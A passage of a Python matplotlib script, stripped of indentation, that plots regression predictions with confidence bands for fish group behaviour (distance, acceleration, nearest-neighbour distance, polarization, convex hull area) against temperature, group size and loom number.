for i in gs:
for j in loom:
ax.plot(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
np.exp(data1.distance[data1.gs==i][data1.loom == j][data1.date == 18106])/60, color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
np.exp(data1.distance_025[data1.gs==i][data1.loom == j][data1.date == 18106])/60,
np.exp(data1.distance_975[data1.gs==i][data1.loom == j][data1.date == 18106])/60,
alpha = 0.3, label = str(j), color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Distance (BL)', size = fs)
ax.set_title('Groupsize = 16', fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/distance_wo_data_gs16.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
### pre loom acceleration
#model_lm <- lm(log(acc+1) ~ temp + log(gs,2) + I(log(gs,2)^2),my_new_data)
# r sq 0.1936
if args.a_string=='acc_99_predictions.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
data2 = data2.drop(labels = 127)
data_hull = data2.acc_percentile99
gs = [1,2,4,8,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc99[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc99_025[data1.gs ==i])-1,
np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0,label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration \n before loom (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_w_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
for i in gs:
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc99[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc99_025[data1.gs ==i])-1,
np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0, label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration \n before loom (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
#ax.set_title('Groupsize = 16', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_wo_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
"""
#model_lm <- lm(log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2),my_new_data)
# r sq 0.1962
if args.a_string=='acc_99_predictions_new_squared.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
data2 = data2.drop(labels = 127)
data_hull = data2.acc_percentile99
gs = [1,2,4,8,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc99[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc99_025[data1.gs ==i])-1,
np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0,label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_w_data_new_squared.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
for i in gs:
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc99[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc99_025[data1.gs ==i])-1,
np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0, label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
#ax.set_title('Groupsize = 16', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_wo_data_new_squared.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
"""
#startle distance corrected
#model_lm <-
#log(distance) ~ temp + log(gs,2) + temp*log(gs,2) + loom*temp + I(temp^2)*log(gs,2) + loom*I(temp^2)
#+date + loom*log(gs,2), my_data
if args.a_string=='startle_distance_predictions3.csv':
data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string)
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom_startle_corrected.csv')
gs = [1,2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
#Plotting
if args.verbose==True:
gs = [1,2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1],
data2.distance[data2.Groupsize == i][data2.Loom == 1]/60, s = 10, alpha = 0.5, color = colors[count])
ax.plot(
data1.temp[data1.gs== i][data1.loom == 1][data1.date == 18106],
np.exp(data1.distance[data1.gs==i][data1.loom == 1][data1.date == 18106])/60,
color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == 1][data1.date == 18106],
np.exp(data1.distance_025[data1.gs==i][data1.loom == 1][data1.date == 18106])/60,
np.exp(data1.distance_975[data1.gs==i][data1.loom == 1][data1.date == 18106])/60,
label = str(i), alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Distance (BL)', size = fs)
ax.set_title('Loom = 1', fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/distance_w_data_loom1.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [1,16]
loom = [1]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
for i in gs:
for j in loom:
ax.plot(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
np.exp(data1.distance[data1.gs==i][data1.loom == j][data1.date == 18106])/60, color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
np.exp(data1.distance_025[data1.gs==i][data1.loom == j][data1.date == 18106])/60,
np.exp(data1.distance_975[data1.gs==i][data1.loom == j][data1.date == 18106])/60,
alpha = 0.3, label = str(i), color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Distance (BL)', size = fs)
ax.set_title('Loom = 1', fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/distance_wo_data_loom1.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
### pre loom annd
#model_lm <- lm(log(annd) ~ temp + log(gs,2), my_data)
#r sq = 0.76 #residuals not good
if args.a_string=='annd_before_loom_predictions.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
#data2 = data2.drop(labels = 127)
data_hull = data2.annd
gs = [2,4,8,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.annd[data1.gs ==i]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.annd025[data1.gs ==i]),
np.exp(data1.annd975[data1.gs ==i]), alpha = 0.3,
color = colors[count], lw = 0,label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Average Nearest Neighbor Distance \n before loom (BL)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/annd_before_loom_w_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [2,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
for i in gs:
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.annd[data1.gs ==i]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.annd025[data1.gs ==i]),
np.exp(data1.annd975[data1.gs ==i]), alpha = 0.3,
color = colors[count], lw = 0,label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Average Nearest Neighbor Distance \n before loom (BL)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
#ax.set_title('Groupsize = 16', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/annd_before_loom_wo_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
#local polarization
#lm(pol ~ temp + loom + t1, my_data)
#r sq 0.03
if args.a_string=='pol1_during_loom_predictions.csv':
data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string)
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom_pol.csv')
loom = [1,2,3,4,5]
colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+1))
count = 1
#Plotting
if args.verbose==True:
loom = [1,2,3,4,5]
colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+1))
count = 1
for i in loom:
ax.scatter(data2.Temperature[data2.Loom == i],
data2.polarization_1[data2.Loom == 1], s = 10, alpha = 0.5, color = colors[count])
ax.plot(
data1.temp[data1.loom == i][data1.t1 == 1618600800],
data1.pol_1[data1.loom == i][data1.t1 == 1618600800],
color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.loom == i][data1.t1== 1618600800],
data1.pol1_025[data1.loom == i][data1.t1 == 1618600800],
data1.pol1_975[data1.loom == i][data1.t1 == 1618600800],
label = str(i), alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Local Polarization', size = fs)
#ax.set_title('Loom = 1', fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/local_pol1_w_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
loom = [1,2,3,4,5]
colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+1))
count = 1
for i in loom:
ax.plot(
data1.temp[data1.loom == i][data1.t1 == 1618600800],
data1.pol_1[data1.loom == i][data1.t1 == 1618600800],
color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.loom == i][data1.t1== 1618600800],
data1.pol1_025[data1.loom == i][data1.t1 == 1618600800],
data1.pol1_975[data1.loom == i][data1.t1 == 1618600800],
label = str(i), alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Local Polarization', size = fs)
#ax.set_title('Loom = 1', fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/local_pol1_wo_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
#hull after loom
#model_lm <- lm(hull ~ gs + temp , my_data)
if args.a_string=='hull_after_loom_predictions_700_900.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv')
data_hull = data2.convex_hull_area
gs = [4,8,16]
loom = [1]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
if args.verbose==True:
for i in gs:
for j in loom:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs== i],
(data1.hull[data1.gs==i]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs== i],
(data1.hull025[data1.gs==i]),
(data1.hull975[data1.gs==i]), alpha = 0.3, label = str(i),
color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Convex hull area after loom', size = fs)
#ax.set_title('Loom = '+str(loom[0]), fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_after_loom_w_data_gs_all.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
else:
gs = [16]
loom = [1]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
for i in gs:
for j in loom:
ax.plot(
data1.temp[data1.gs== i],
(data1.hull[data1.gs==i]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs== i],
(data1.hull025[data1.gs==i]),
(data1.hull975[data1.gs==i]), alpha = 0.3,
color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Convex hull area after loom', size = fs)
#ax.set_title('Loom = '+str(loom[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_after_loom_wo_data_gs_16.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
#hull during loom
#model_lm <- lm(hull ~ gs + temp , my_data)
if args.a_string=='hull_during_loom_predictions_500_700.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/convex_hull_during_loom.csv')
data_hull = data2.convex_hull_area_500_700
gs = [4,8,16]
loom = [1]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
if args.verbose==True:
for i in gs:
for j in loom:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs== i],
(data1.hull[data1.gs==i]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs== i],
(data1.hull025[data1.gs==i]),
(data1.hull975[data1.gs==i]), alpha = 0.3, label = str(i),
color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Convex hull area during loom', size = fs)
#ax.set_title('Loom = '+str(loom[0]), fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_during_loom_w_data_gs_all.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
loom = [1]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
for i in gs:
for j in loom:
ax.plot(
data1.temp[data1.gs== i],
(data1.hull[data1.gs==i]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs== i],
(data1.hull025[data1.gs==i]),
(data1.hull975[data1.gs==i]), alpha = 0.3, label = str(i),
color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Convex hull area during loom', size = fs)
#ax.set_title('Loom = '+str(loom[0]), fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_during_loom_wo_data_gs_16.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
### pre loom avg acceleration
#log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2)
# r sq 0.2786
if args.a_string=='acc_avg_predictions_new.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
#data2 = data2.drop(labels = 127)
data_hull = data2.avg_acc
gs = [1,2,4,8,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc_025[data1.gs ==i])-1,
np.exp(data1.acc_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0,label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Average acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_avg_acc_w_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
for i in gs:
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc_025[data1.gs ==i])-1,
np.exp(data1.acc_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0, label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Average acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
#ax.set_title('Groupsize = 16', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_avg_acc_wo_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
### pre loom median acceleration
#log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2)
# r sq 0.301
if args.a_string=='acc_50_predictions_new.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
#data2 = data2.drop(labels = 127)
data_hull = data2.acc_percentile50
gs = [1,2,4,8,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc50[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc50_025[data1.gs ==i])-1,
np.exp(data1.acc50_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0,label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Median acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_50_acc_w_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
for i in gs:
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc50[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc50_025[data1.gs ==i])-1,
np.exp(data1.acc50_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0, label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Median acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
#ax.set_title('Groupsize = 16', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_50_acc_wo_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
### pre loom avg acceleration
#log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2)
# r sq 0.2786
if args.a_string=='acc_avg_predictions_new.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
#data2 = data2.drop(labels = 127)
data_hull = data2.avg_acc
gs = [1,2,4,8,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc_025[data1.gs ==i])-1,
np.exp(data1.acc_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0,label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Mean acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_avg_acc_w_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
for i in gs:
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc_025[data1.gs ==i])-1,
np.exp(data1.acc_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0, label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Mean acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
#ax.set_title('Groupsize = 16', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_avg_acc_wo_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
### pca coeff - bernoulli
# model_glm <- glm(pca ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2) + date, family = binomial, data = my_data)
# summary(model_glm)
#aic = 834
if args.a_string=='pca_predictions.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/pca_coeff_bernoulli.csv')
#data2 = data2.drop(labels = 127)
data_hull = data2.pca_coeff
gs = [4,8,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
if args.verbose==False:
gs = [16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
for i in gs:
ax.plot(
data1.temp[data1.gs ==i][data1.date == 18106],
(data1.pca[data1.gs ==i][data1.date == 18106]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i][data1.date == 18106],
(data1.pca_025[data1.gs ==i][data1.date == 18106]),
